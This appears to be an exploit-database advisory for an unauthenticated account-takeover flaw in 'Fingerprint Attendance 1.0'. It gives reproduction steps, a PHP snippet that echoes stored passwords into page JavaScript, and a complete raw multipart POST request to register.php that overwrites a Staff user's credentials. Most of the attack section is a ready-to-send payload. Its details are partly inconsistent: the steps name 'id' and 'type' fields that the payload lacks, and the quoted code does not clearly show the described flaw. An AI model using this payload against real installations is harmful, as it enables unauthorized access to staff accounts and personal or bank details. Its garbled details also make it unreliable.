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Fingerprint Attendance 1.0 Account Takeover Vulnerability

🗓️ 30 Mar 2022 00:00:00Reported by Hejap ZairyType 
zdt
 zdt
🔗 0day.today👁 197 Views

Fingerprint Attendance 1.0 Account Takeover Vulnerability. Unauthenticated account takeover allows an attacker to gain unauthorized access to any 'Staff' user account by manipulating parameters in a POST request and changing the username and password to log in to the user account

Code
# Title: Fingerprint Attendance 1.0  Account Takeover 
# Author: Hejap Zairy
# Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/
# Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

Fingerprint Attendance  is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters

#Steps to Reproduce

1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" ,"type" parameters.

2. Go to  /fingerprint/src/ and Log in to the user account by changed username and password


#vulnerability Code  php

```
<?php
    echo "document.getElementById('fname').value = '".$qry["first_name"]."';";
    echo "document.getElementById('lname').value = '".$qry["last_name"]."';";

    echo "document.getElementById('NRIC').value = '".$qry["NRIC"]."';";
    echo "document.getElementById('email').value = '".$qry["email"]."';";
    echo "document.getElementById('contact').value = '".$qry["mobile"]."';";
    echo "document.getElementById('contact2').value = '".$qry["mobile2"]."';";

    echo "document.getElementById('line1').value = '".$qry["password"]."';";
    echo "document.getElementById('line2').value = '".$qry["line1"]."';";
    echo "document.getElementById('line3').value = '".$qry["line2"]."';";
    echo "document.getElementById('city').value = '".$qry["city"]."';";
    echo "document.getElementById('zip').value = '".$qry["zip"]."';";
    echo "document.getElementById('country').value = '".$qry["country"]."';";

    echo "document.getElementById('bankName').value = '".$qry["bankName"]."';";
    echo "document.getElementById('bankDetail').value = '".$qry["bankDetail"]."';";

    echo "document.getElementById('job').value = '".$qry["jobTitle"]."';";
  ?>
```


# Description:
Account takeover is one form of identity theft attack in which bad actors gain access to an account and make unauthorized transactions. Account takeover attacks can target any website that uses a login to guard valuable information


[+] Payload POST

```
POST /fingerprint/src/register.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------3324626841792192532944123116
Content-Length: 2446
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/fingerprint/src/register.php
Cookie: PHPSESSID=64cp9kf4qmus9p55o63clicu2q
Upgrade-Insecure-Requests: 1

-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="fname"
Admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="lname"

admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="NRIC"
Admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="emailaddress"
[email protected]
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="contact"

admin

-----------------------------3324626841792192532944123116

Content-Disposition: form-data; name="contact2"
admin
-----------------------------3324626841792192532944123116

Content-Disposition: form-data; name="password"
admin12345
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="line2"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="line3"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="city"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="zip"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="country"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="bankName"
Admin
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="bankDetail"
-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="job"
Admin

-----------------------------3324626841792192532944123116
Content-Disposition: form-data; name="button"
Register
-----------------------------3324626841792192532944123116--
```

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